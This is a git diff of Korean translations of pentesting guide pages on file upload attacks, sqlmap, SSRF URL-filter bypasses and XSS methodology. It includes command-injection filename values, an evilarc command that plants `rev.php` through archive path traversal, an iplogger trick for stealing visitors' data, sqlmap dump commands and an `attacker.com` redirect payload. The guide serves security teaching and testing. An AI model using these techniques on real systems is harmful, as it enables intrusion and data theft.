것입니다. 그러면 초기 URL이 검사를 우회하고 wget이 새 이름으로 리디렉션된 파일을 다운로드합니다. 이는 **wget이 `--trust-server-names` 매개변수와 함께 사용되지 않는 한 작동하지 않습니다**. 왜냐하면 **wget은 원래 URL에 표시된 파일 이름으로 리디렉션된 페이지를 다운로드하기 때문입니다**. ## 도구 @@ -168,19 +168,19 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= - **filename**을 `sleep(10)-- -.jpg`로 설정하면 **SQL 인젝션**을 달성할 수 있습니다. - **filename**을 ``로 설정하여 XSS를 달성합니다. - **filename**을 `; sleep 10;`으로 설정하여 일부 명령 주입을 테스트합니다 (더 많은 [명령 주입 트릭은 여기](../command-injection.md)에서 확인하세요). -- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) -- **JS** 파일 **업로드** + **XSS** = [**Service Workers** 악용](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) -- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) -- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) +- [**XSS** 이미지 (svg) 파일 업로드](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) +- **JS** 파일 **업로드** + **XSS** = [**서비스 워커** 악용](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) +- [**SVG 업로드에서 XXE**](../xxe-xee-xml-external-entity.md#svg-file-upload) +- [**SVG 파일 업로드를 통한 오픈 리디렉션**](../open-redirect.md#open-redirect-uploading-svg-files) - [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)에서 **다양한 svg 페이로드**를 시도해 보세요. - [유명한 **ImageTrick** 취약점](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- **웹 서버에 URL에서 이미지를 가져오도록 지시**할 수 있다면 [SSRF](../ssrf-server-side-request-forgery/index.html)를 악용할 수 있습니다. 이 **이미지**가 어떤 **공개** 사이트에 **저장**될 경우, [https://iplogger.org/invisible/](https://iplogger.org/invisible/)의 URL을 지정하여 **모든 방문자의 정보를 훔칠** 수 있습니다. -- [**XXE와 CORS** 우회 PDF-Adobe 업로드](pdf-upload-xxe-and-cors-bypass.md) -- XSS를 위한 특별히 제작된 PDF: [다음 페이지는 **PDF 데이터를 주입하여 JS 실행을 얻는 방법**을 제시합니다](../xss-cross-site-scripting/pdf-injection.md). PDF를 업로드할 수 있다면 주어진 지침에 따라 임의의 JS를 실행할 PDF를 준비할 수 있습니다. +- **웹 서버에 URL에서 이미지를 가져오도록 지시할 수 있다면**, [SSRF](../ssrf-server-side-request-forgery/index.html)를 악용할 수 있습니다. 이 **이미지**가 어떤 **공개** 사이트에 **저장**될 경우, [https://iplogger.org/invisible/](https://iplogger.org/invisible/)의 URL을 지정하여 **모든 방문자의 정보를 훔칠** 수 있습니다. +- [PDF-Adobe 업로드로 **XXE 및 CORS** 우회](pdf-upload-xxe-and-cors-bypass.md) +- XSS를 위한 특별히 제작된 PDF: [다음 페이지는 **PDF 데이터를 주입하여 JS 실행을 얻는 방법**을 제시합니다](../xss-cross-site-scripting/pdf-injection.md). PDF를 업로드할 수 있다면, 주어진 지침에 따라 임의의 JS를 실행할 PDF를 준비할 수 있습니다. - \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) 콘텐츠를 업로드하여 서버에 **안티바이러스**가 있는지 확인합니다. - 파일 업로드 시 **크기 제한**이 있는지 확인합니다. -여기 업로드를 통해 달성할 수 있는 10가지 목록이 있습니다 (출처: [여기](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): +여기 파일 업로드를 통해 달성할 수 있는 10가지 목록이 있습니다 (출처: [여기](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: 웹쉘 / RCE 2. **SVG**: 저장된 XSS / SSRF / XXE @@ -188,7 +188,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 4. **CSV**: CSV 인젝션 5. **XML**: XXE 6. **AVI**: LFI / SSRF -7. **HTML / JS** : HTML 인젝션 / XSS / 오픈 리디렉션 +7. **HTML / JS**: HTML 인젝션 / XSS / 오픈 리디렉션 8. **PNG / JPEG**: 픽셀 플러드 공격 (DoS) 9. **ZIP**: LFI를 통한 RCE / DoS 10. **PDF / PPTX**: SSRF / BLIND XXE @@ -206,11 +206,11 @@ https://github.com/portswigger/upload-scanner 다른 파일 형식에 대한 정보는 [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures)를 참조하세요. -### Zip/Tar 파일 자동 압축 해제 업로드 +## Zip/Tar 파일 자동 압축 해제 업로드 서버 내에서 압축 해제될 ZIP 파일을 업로드할 수 있다면, 두 가지 작업을 수행할 수 있습니다: -#### 심볼릭 링크 +### 심볼릭 링크 다른 파일에 대한 소프트 링크를 포함하는 링크를 업로드한 다음, 압축 해제된 파일에 접근하여 링크된 파일에 접근할 수 있습니다: ``` @@ -220,7 +220,7 @@ tar -cvf test.tar symindex.txt ``` ### 다른 폴더에 압축 해제 -압축 해제 중 디렉토리에서 파일이 예상치 않게 생성되는 것은 중요한 문제입니다. 이 설정이 악의적인 파일 업로드를 통한 OS 수준의 명령 실행을 방지할 것이라는 초기 가정에도 불구하고, ZIP 아카이브 형식의 계층적 압축 지원 및 디렉토리 탐색 기능이 악용될 수 있습니다. 이를 통해 공격자는 제한을 우회하고 대상 애플리케이션의 압축 해제 기능을 조작하여 안전한 업로드 디렉토리를 탈출할 수 있습니다. +압축 해제 중 디렉토리에서 파일이 예기치 않게 생성되는 것은 중요한 문제입니다. 이 설정이 악성 파일 업로드를 통한 OS 수준의 명령 실행을 방지할 것이라는 초기 가정에도 불구하고, ZIP 아카이브 형식의 계층적 압축 지원 및 디렉토리 탐색 기능이 악용될 수 있습니다. 이를 통해 공격자는 제한을 우회하고 대상 애플리케이션의 압축 해제 기능을 조작하여 안전한 업로드 디렉토리를 탈출할 수 있습니다. 이러한 파일을 생성하기 위한 자동화된 익스플로잇은 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)에서 사용할 수 있습니다. 유틸리티는 다음과 같이 사용할 수 있습니다: ```python @@ -229,7 +229,7 @@ python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -또한, **evilarc와 함께하는 symlink 트릭**도 옵션입니다. 목표가 `/flag.txt`와 같은 파일을 타겟으로 하는 경우, 해당 파일에 대한 symlink를 시스템에 생성해야 합니다. 이렇게 하면 evilarc가 작동 중 오류를 겪지 않도록 보장됩니다. +추가적으로, **evilarc와 함께하는 symlink 트릭**은 옵션입니다. 목표가 `/flag.txt`와 같은 파일을 타겟으로 하는 경우, 해당 파일에 대한 symlink를 시스템에 생성해야 합니다. 이는 evilarc가 작동 중 오류를 겪지 않도록 보장합니다. 아래는 악성 zip 파일을 생성하는 데 사용되는 Python 코드의 예입니다: ```python @@ -291,7 +291,7 @@ pop graphic-context PNG 파일의 IDAT 청크에 PHP 셸을 삽입하면 특정 이미지 처리 작업을 효과적으로 우회할 수 있습니다. PHP-GD의 `imagecopyresized` 및 `imagecopyresampled` 함수는 각각 이미지를 크기 조정하고 재샘플링하는 데 일반적으로 사용되므로 이 맥락에서 특히 관련이 있습니다. 삽입된 PHP 셸이 이러한 작업의 영향을 받지 않는 능력은 특정 사용 사례에 있어 중요한 장점입니다. -이 기술에 대한 자세한 탐색, 방법론 및 잠재적 응용 프로그램이 포함된 기사는 다음 기사에서 제공됩니다: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). 이 자료는 프로세스와 그 의미에 대한 포괄적인 이해를 제공합니다. +이 기술에 대한 자세한 탐색, 방법론 및 잠재적 응용 프로그램은 다음 기사에서 제공됩니다: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). 이 자료는 프로세스와 그 의미에 대한 포괄적인 이해를 제공합니다. 자세한 정보는: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) @@ -299,12 +299,20 @@ PNG 파일의 IDAT 청크에 PHP 셸을 삽입하면 특정 이미지 처리 작 폴리글롯 파일은 사이버 보안에서 독특한 도구로 작용하며, 여러 파일 형식에서 동시에 유효하게 존재할 수 있는 카멜레온과 같습니다. 흥미로운 예로는 GIF와 RAR 아카이브로 기능하는 하이브리드인 [GIFAR](https://en.wikipedia.org/wiki/Gifar)가 있습니다. 이러한 파일은 이 조합에 국한되지 않으며, GIF와 JS 또는 PPT와 JS와 같은 조합도 가능합니다. -폴리글롯 파일의 핵심 유용성은 파일 유형에 따라 파일을 검사하는 보안 조치를 우회할 수 있는 능력에 있습니다. 다양한 애플리케이션에서 일반적인 관행은 JPEG, GIF 또는 DOC와 같은 특정 파일 유형만 업로드를 허용하여 잠재적으로 해로운 형식(예: JS, PHP 또는 Phar 파일)으로 인한 위험을 완화하는 것입니다. 그러나 폴리글롯은 여러 파일 유형의 구조적 기준을 준수함으로써 이러한 제한을 은밀하게 우회할 수 있습니다. +폴리글롯 파일의 핵심 유용성은 파일 유형에 따라 파일을 검사하는 보안 조치를 우회할 수 있는 능력에 있습니다. 다양한 애플리케이션에서 일반적인 관행은 JPEG, GIF 또는 DOC와 같은 특정 파일 유형만 업로드를 허용하여 잠재적으로 유해한 형식(예: JS, PHP 또는 Phar 파일)으로 인한 위험을 완화하는 것입니다. 그러나 폴리글롯은 여러 파일 유형의 구조적 기준을 준수함으로써 이러한 제한을 은밀하게 우회할 수 있습니다. -그들의 적응성에도 불구하고, 폴리글롯은 한계에 직면합니다. 예를 들어, 폴리글롯이 PHAR 파일(PHp ARchive)과 JPEG를 동시에 포함할 수 있지만, 업로드의 성공 여부는 플랫폼의 파일 확장자 정책에 달려 있을 수 있습니다. 시스템이 허용되는 확장자에 대해 엄격하다면, 폴리글롯의 단순한 구조적 이중성만으로는 업로드를 보장할 수 없습니다. +그들의 적응성에도 불구하고, 폴리글롯은 한계에 직면합니다. 예를 들어, 폴리글롯이 PHAR 파일(PHp ARchive)과 JPEG을 동시에 포함할 수 있지만, 업로드의 성공 여부는 플랫폼의 파일 확장자 정책에 달려 있을 수 있습니다. 시스템이 허용되는 확장자에 대해 엄격하다면, 폴리글롯의 단순한 구조적 이중성만으로는 업로드를 보장할 수 없습니다. 자세한 정보는: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) +### PDF처럼 유효한 JSON 업로드하기 + +PDF 파일로 위장하여 유효한 JSON 파일을 업로드함으로써 파일 유형 감지를 피하는 방법(기술은 **[이 블로그 게시물](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**에서 제공됨): + +- **`mmmagic` 라이브러리**: `%PDF` 매직 바이트가 처음 1024 바이트에 있으면 유효합니다(게시물에서 예시 가져오기) +- **`pdflib` 라이브러리**: JSON의 필드 안에 가짜 PDF 형식을 추가하여 라이브러리가 PDF로 인식하게 합니다(게시물에서 예시 가져오기) +- **`file` 바이너리**: 파일에서 최대 1048576 바이트를 읽을 수 있습니다. JSON보다 큰 JSON을 생성하여 내용을 JSON으로 파싱할 수 없게 하고, JSON 안에 실제 PDF의 초기 부분을 넣으면 PDF로 인식하게 됩니다. + ## 참고 문헌 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files) @@ -313,5 +321,6 @@ PNG 파일의 IDAT 청크에 PHP 셸을 삽입하면 특정 이미지 처리 작 - [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html) - [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) +- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/sqlmap/README.md b/src/pentesting-web/sql-injection/sqlmap/README.md index afeba2640..d965c7bcb 100644 --- a/src/pentesting-web/sql-injection/sqlmap/README.md +++ b/src/pentesting-web/sql-injection/sqlmap/README.md @@ -79,9 +79,13 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*" ```bash --string="string_showed_when_TRUE" ``` +### 탐지 기술 추가 + +SQLi를 발견했지만 sqlmap이 이를 감지하지 못한 경우, `--prefix` 또는 `--suffix`와 같은 인수를 사용하여 탐지 기술을 강제로 적용할 수 있습니다. 더 복잡한 경우에는 `/usr/share/sqlmap/data/xml/payloads/time_blind.xml`에 sqlmap이 사용하는 페이로드에 추가할 수 있습니다. 예를 들어, 시간 블라인드 기반입니다. + ### Eval -**Sqlmap**는 `-e` 또는 `--eval`을 사용하여 각 페이로드를 전송하기 전에 일부 파이썬 원라이너로 처리할 수 있습니다. 이를 통해 페이로드를 전송하기 전에 사용자 정의 방식으로 쉽게 빠르게 처리할 수 있습니다. 다음 예제에서 **flask 쿠키 세션** **은 전송하기 전에 알려진 비밀로 flask에 의해 서명됩니다**: +**Sqlmap**은 `-e` 또는 `--eval`을 사용하여 각 페이로드를 전송하기 전에 처리할 수 있습니다. 이는 페이로드를 전송하기 전에 사용자 정의 방식으로 쉽게 빠르게 처리할 수 있게 해줍니다. 다음 예제에서 **flask 쿠키 세션** **은 전송하기 전에 알려진 비밀로 flask에 의해 서명됩니다**: ```bash sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump ``` @@ -108,7 +112,7 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa --crawl = how deep you want to crawl a site --forms = Parse and test forms ``` -### 2차 주입 +### 두 번째 차수 주입 ```bash python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3 sqlmap -r 1.txt -dbms MySQL -second-order "http:///joomla/administrator/index.php" -D "joomla" -dbs @@ -125,7 +129,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- " ```bash python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') " ``` -### 부울 주입 찾기 도움 +### Help finding boolean injection ```bash # The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection) sqlmap -r r.txt -p id --not-string ridiculous --batch @@ -144,33 +148,33 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch | appendnullbyte.py | 페이로드 끝에 인코딩된 NULL 바이트 문자를 추가합니다. | | base64encode.py | 주어진 페이로드의 모든 문자를 Base64로 인코딩합니다. | | between.py | '>' 연산자를 'NOT BETWEEN 0 AND #'로 대체합니다. | -| bluecoat.py | SQL 문 뒤의 공백 문자를 유효한 무작위 공백 문자로 대체합니다. 이후 문자를 LIKE 연산자로 대체합니다. | -| chardoubleencode.py | 주어진 페이로드의 모든 문자를 이중 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). | +| bluecoat.py | SQL 문장 뒤의 공백 문자를 유효한 무작위 공백 문자로 대체합니다. 이후 '=' 문자를 LIKE 연산자로 대체합니다. | +| chardoubleencode.py | 주어진 페이로드의 모든 문자를 이중 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). | | commalesslimit.py | 'LIMIT M, N'과 같은 인스턴스를 'LIMIT N OFFSET M'으로 대체합니다. | | commalessmid.py | 'MID(A, B, C)'와 같은 인스턴스를 'MID(A FROM B FOR C)'로 대체합니다. | | concat2concatws.py | 'CONCAT(A, B)'와 같은 인스턴스를 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'로 대체합니다. | | charencode.py | 주어진 페이로드의 모든 문자를 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). | -| charunicodeencode.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). "%u0022" | -| charunicodeescape.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). "\u0022" | -| equaltolike.py | '=' 연산자의 모든 발생을 'LIKE' 연산자로 대체합니다. | +| charunicodeencode.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). "%u0022" | +| charunicodeescape.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). "\u0022" | +| equaltolike.py | '=' 연산자의 모든 발생을 'LIKE' 연산자로 대체합니다. | | escapequotes.py | 따옴표(' 및 ")를 슬래시로 이스케이프합니다. | | greatest.py | '>' 연산자를 'GREATEST' 대응 문자로 대체합니다. | | halfversionedmorekeywords.py | 각 키워드 앞에 버전이 있는 MySQL 주석을 추가합니다. | | ifnull2ifisnull.py | 'IFNULL(A, B)'와 같은 인스턴스를 'IF(ISNULL(A), B, A)'로 대체합니다. | -| modsecurityversioned.py | 버전이 있는 주석으로 전체 쿼리를 감쌉니다. | -| modsecurityzeroversioned.py | 제로 버전 주석으로 전체 쿼리를 감쌉니다. | -| multiplespaces.py | SQL 키워드 주위에 여러 개의 공백을 추가합니다. | -| nonrecursivereplacement.py | 미리 정의된 SQL 키워드를 대체에 적합한 표현으로 대체합니다(예: .replace("SELECT", "") 필터). | +| modsecurityversioned.py | 전체 쿼리를 버전이 있는 주석으로 감쌉니다. | +| modsecurityzeroversioned.py | 전체 쿼리를 제로 버전 주석으로 감쌉니다. | +| multiplespaces.py | SQL 키워드 주위에 여러 개의 공백을 추가합니다. | +| nonrecursivereplacement.py | 미리 정의된 SQL 키워드를 대체에 적합한 표현으로 대체합니다(예: .replace("SELECT", "") 필터). | | percentage.py | 각 문자 앞에 백분율 기호('%')를 추가합니다. | | overlongutf8.py | 주어진 페이로드의 모든 문자를 변환합니다(이미 인코딩된 것은 처리하지 않음). | | randomcase.py | 각 키워드 문자를 무작위 대소문자 값으로 대체합니다. | | randomcomments.py | SQL 키워드에 무작위 주석을 추가합니다. | | securesphere.py | 특별히 제작된 문자열을 추가합니다. | -| sp_password.py | DBMS 로그에서 자동으로 난독화하기 위해 페이로드 끝에 'sp_password'를 추가합니다. | +| sp_password.py | 페이로드 끝에 'sp_password'를 추가하여 DBMS 로그에서 자동으로 난독화합니다. | | space2comment.py | 공백 문자(' ')를 주석으로 대체합니다. | | space2dash.py | 공백 문자(' ')를 대시 주석('--')으로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. | -| space2hash.py | 공백 문자(' ')를 파운드 문자('#')로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. | -| space2morehash.py | 공백 문자(' ')를 파운드 문자('#')로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. | +| space2hash.py | 공백 문자(' ')를 파운드 문자('#')로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. | +| space2morehash.py | 공백 문자(' ')를 파운드 문자('#')로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. | | space2mssqlblank.py | 공백 문자(' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. | | space2mssqlhash.py | 공백 문자(' ')를 파운드 문자('#')로 대체하고 새 줄('\n')을 추가합니다. | | space2mysqlblank.py | 공백 문자(' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. | @@ -180,7 +184,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch | symboliclogical.py | AND 및 OR 논리 연산자를 그들의 기호 대응물(&& 및 ||)로 대체합니다. | | unionalltounion.py | UNION ALL SELECT를 UNION SELECT로 대체합니다. | | unmagicquotes.py | 따옴표 문자(')를 다중 바이트 조합 %bf%27로 대체하고 끝에 일반 주석을 추가합니다(작동하게 하기 위해). | -| uppercase.py | 각 키워드 문자를 대문자 값 'INSERT'로 대체합니다. | +| uppercase.py | 각 키워드 문자를 대문자 'INSERT'로 대체합니다. | | varnish.py | HTTP 헤더 'X-originating-IP'를 추가합니다. | | versionedkeywords.py | 각 비함수 키워드를 버전이 있는 MySQL 주석으로 감쌉니다. | | versionedmorekeywords.py | 각 키워드를 버전이 있는 MySQL 주석으로 감쌉니다. | diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md b/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md index 587e5bfd2..d33b92398 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md @@ -2,9 +2,10 @@ {{#include ../../banners/hacktricks-training.md}} -### Localhost +### 로컬호스트 ```bash # Localhost +0 # Yes, just 0 is localhost in Linuc http://127.0.0.1:80 http://127.0.0.1:443 http://127.0.0.1:22 @@ -143,30 +144,30 @@ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ #Parameter pollution next={domain}&next=attacker.com ``` -### 경로 및 확장자 우회 +### Paths and Extensions Bypass -URL이 경로 또는 확장자로 끝나야 하거나 경로를 포함해야 하는 경우, 다음 우회 방법 중 하나를 시도할 수 있습니다: +URL이 경로나 확장자로 끝나야 하거나 경로를 포함해야 하는 경우, 다음 우회 방법 중 하나를 시도할 수 있습니다: ``` https://metadata/vulerable/path#/expected/path https://metadata/vulerable/path#.extension https://metadata/expected/path/..%2f..%2f/vulnerable/path ``` -### 퍼징 +### Fuzzing -도구 [**recollapse**](https://github.com/0xacb/recollapse)는 주어진 입력에서 변형을 생성하여 사용된 정규 표현식을 우회하려고 시도할 수 있습니다. 더 많은 정보는 [**이 게시물**](https://0xacb.com/2022/11/21/recollapse/)을 확인하세요. +The tool [**recollapse**](https://github.com/0xacb/recollapse)는 주어진 입력에서 변형을 생성하여 사용된 regex를 우회하려고 시도할 수 있습니다. 추가 정보는 [**이 게시물**](https://0xacb.com/2022/11/21/recollapse/)을 확인하세요. -### 자동 맞춤 단어 목록 +### Automatic Custom Wordlists -포트스위거의 [**URL 검증 우회 치트 시트** 웹앱](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet)을 확인해 보세요. 여기에서 허용된 호스트와 공격자의 호스트를 입력하면 시도할 URL 목록을 생성해 줍니다. 또한 URL을 매개변수, Host 헤더 또는 CORS 헤더에서 사용할 수 있는지 여부도 고려합니다. +[**URL validation bypass cheat sheet** 웹앱](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet)을 확인해보세요. 여기서 허용된 호스트와 공격자의 호스트를 입력하면 시도할 URL 목록을 생성해줍니다. 또한 URL을 매개변수, Host 헤더 또는 CORS 헤더에서 사용할 수 있는지 여부도 고려합니다. {{#ref}} https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet {{#endref}} -### 리디렉션을 통한 우회 +### Bypass via redirect -서버가 SSRF의 **원래 요청을 필터링**하고 **리디렉션** 응답은 필터링하지 않을 가능성이 있습니다.\ -예를 들어, `url=https://www.google.com/`를 통해 SSRF에 취약한 서버는 **url 매개변수를 필터링**할 수 있습니다. 그러나 [파이썬 서버를 사용하여 302로 응답](https://pastebin.com/raw/ywAUhFrv)하면 리디렉션하려는 위치로 이동할 수 있으며, 필터링된 IP 주소인 127.0.0.1 또는 필터링된 **프로토콜**인 gopher에 **접근할 수** 있을 수 있습니다.\ +서버가 SSRF의 **원래 요청을 필터링**하고 **가능한 리디렉션** 응답은 필터링하지 않을 가능성이 있습니다.\ +예를 들어, `url=https://www.google.com/`를 통해 SSRF에 취약한 서버는 **url 매개변수를 필터링**할 수 있습니다. 그러나 [python 서버를 사용하여 302로 응답](https://pastebin.com/raw/ywAUhFrv)하면 리디렉션하려는 위치로 이동할 수 있으며, 필터링된 IP 주소인 127.0.0.1 또는 필터링된 **프로토콜**인 gopher에 **접근할 수** 있을 수 있습니다.\ [이 보고서를 확인하세요.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530) ```python #!/usr/bin/env python3 @@ -190,9 +191,9 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever() ``` ## 설명된 트릭 -### 백슬래시 트릭 +### 블랙슬래시 트릭 -_백슬래시 트릭_은 [WHATWG URL 표준](https://url.spec.whatwg.org/#url-parsing)과 [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) 간의 차이를 이용합니다. RFC3986은 URI에 대한 일반적인 프레임워크인 반면, WHATWG는 웹 URL에 특정하며 현대 브라우저에서 채택되고 있습니다. 주요 차이점은 WHATWG 표준이 백슬래시(`\`)를 슬래시(`/`)와 동등하게 인식하여 URL이 구문 분석되는 방식에 영향을 미치며, 특히 URL에서 호스트 이름에서 경로로의 전환을 표시하는 것입니다. +_백슬래시 트릭_은 [WHATWG URL 표준](https://url.spec.whatwg.org/#url-parsing)과 [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) 간의 차이를 이용합니다. RFC3986은 URI에 대한 일반적인 프레임워크인 반면, WHATWG는 웹 URL에 특정하며 현대 브라우저에서 채택되고 있습니다. 주요 차이점은 WHATWG 표준이 백슬래시(`\`)를 슬래시(`/`)와 동등하게 인식하여 URL이 구문 분석되는 방식에 영향을 미치며, 특히 URL에서 호스트 이름에서 경로로의 전환을 표시하는 데 있습니다. ![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg) diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index 5af4a329f..9b153aecb 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -2,7 +2,7 @@ ## 방법론 -1. **당신이 제어하는 모든 값** (_매개변수_, _경로_, _헤더_?, _쿠키_?)가 HTML에 **반영**되거나 **JS** 코드에 의해 **사용**되고 있는지 확인합니다. +1. **당신이 제어하는 값** (_매개변수_, _경로_, _헤더_?, _쿠키_?)가 HTML에 **반영**되거나 **JS** 코드에 의해 **사용**되는지 확인합니다. 2. **반영/사용되는 맥락**을 찾습니다. 3. **반영된 경우** 1. **어떤 기호를 사용할 수 있는지** 확인하고, 그에 따라 페이로드를 준비합니다: @@ -11,7 +11,7 @@ 2. `javascript:` 프로토콜을 지원하는 이벤트나 속성을 사용할 수 있습니까? 3. 보호를 우회할 수 있습니까? 4. HTML 콘텐츠가 클라이언트 측 JS 엔진 (_AngularJS_, _VueJS_, _Mavo_...)에 의해 해석되고 있다면, [**클라이언트 측 템플릿 주입**](../client-side-template-injection-csti.md)을 악용할 수 있습니다. -5. JS 코드를 실행하는 HTML 태그를 생성할 수 없다면, [**덩글링 마크업 - HTML 스크립트 없는 주입**](../dangling-markup-html-scriptless-injection/index.html)을 악용할 수 있습니까? +5. JS 코드를 실행하는 HTML 태그를 생성할 수 없다면, [**덩글링 마크업 - HTML 스크립트리스 주입**](../dangling-markup-html-scriptless-injection/index.html)을 악용할 수 있습니까? 2. **HTML 태그 내부**에서: 1. 원시 HTML 맥락으로 나갈 수 있습니까? 2. JS 코드를 실행하기 위해 새로운 이벤트/속성을 생성할 수 있습니까? @@ -35,7 +35,7 @@ debugging-client-side-js.md ## 반영된 값 -XSS를 성공적으로 악용하기 위해 가장 먼저 찾아야 할 것은 **당신이 제어하는 값이 웹 페이지에 반영되고 있는지**입니다. +XSS를 성공적으로 악용하기 위해 가장 먼저 찾아야 할 것은 웹 페이지에 **당신이 제어하는 값이 반영되고 있는지**입니다. - **중간에 반영된 경우**: 매개변수의 값이나 경로가 웹 페이지에 반영되고 있다면 **반영된 XSS**를 악용할 수 있습니다. - **저장되고 반영된 경우**: 당신이 제어하는 값이 서버에 저장되고 페이지에 접근할 때마다 반영된다면 **저장된 XSS**를 악용할 수 있습니다. @@ -67,10 +67,10 @@ XSS를 악용하려고 할 때 가장 먼저 알아야 할 것은 **당신의 ``` ### Inside JavaScript code -이 경우 입력값은 HTML 페이지의 **``** 태그, `.js` 파일 또는 **`javascript:`** 프로토콜을 사용하는 속성 안에 반영됩니다: +이 경우 입력은 HTML 페이지의 **``** 태그, `.js` 파일 또는 **`javascript:`** 프로토콜을 사용하는 속성 내에서 반영됩니다: -- **``** 태그 사이에 반영되는 경우, 입력값이 어떤 종류의 따옴표 안에 있더라도 ``를 주입하고 이 컨텍스트에서 탈출할 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 파싱**하고 그 다음에 내용을 처리하기 때문에, 주입된 `` 태그가 HTML 코드 안에 있다는 것을 인식하지 못합니다. -- **JS 문자열 안에 반영되는 경우** 마지막 트릭이 작동하지 않으면 문자열에서 **탈출**하고, **코드를 실행**하며 **JS 코드를 재구성**해야 합니다 (오류가 발생하면 실행되지 않습니다): +- **``** 태그 사이에 반영되는 경우, 입력이 어떤 종류의 따옴표 안에 있더라도 ``를 주입하고 이 컨텍스트에서 벗어날 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 파싱**하고 그 다음에 내용을 파싱하기 때문에, 주입된 `` 